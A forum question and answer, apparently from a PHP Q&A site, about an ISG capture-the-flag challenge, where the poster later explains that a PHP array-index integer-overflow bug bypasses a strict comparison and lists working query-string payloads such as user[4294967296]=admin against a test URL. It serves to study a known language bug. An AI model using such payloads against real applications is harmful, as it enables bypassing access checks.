Rumah  >  Soal Jawab  >  teks badan

hack - PHP的信息安全(入侵获取$flag)的题目【Q2】

地址:http://202.120.7.134:8888/html/array.php

参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。

Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892

我觉得这种利用BUG出题的,简直是……

比赛时间已过,果断自己写了下代码:

<?php

//这里简化一下题目,直接把time定死
$flag = 'ISG{'.time().'}';
$time = '1445502008';//2015/10/22 16:20:8

if(empty($_GET['user']))die(show_source(__FILE__));
$user = array('admin', $time );
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;}

测试效果:

测试地址:
http://moonlordapi.sinaapp.com/1.php

补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user[4294967296]=admin&user[1]=1445502008

就此愉快地结题了。

大家讲道理大家讲道理2769 hari yang lalu406

membalas semua(2)saya akan balas

  • 伊谢尔伦

    伊谢尔伦2017-04-10 16:13:18

    请教了我安全的大神同学 他说0可以通过整型溢出得到 绕过if判断

    balas
    0
  • PHPz

    PHPz2017-04-10 16:13:18

    楼上正解。。。。

    balas
    0
  • Batalbalas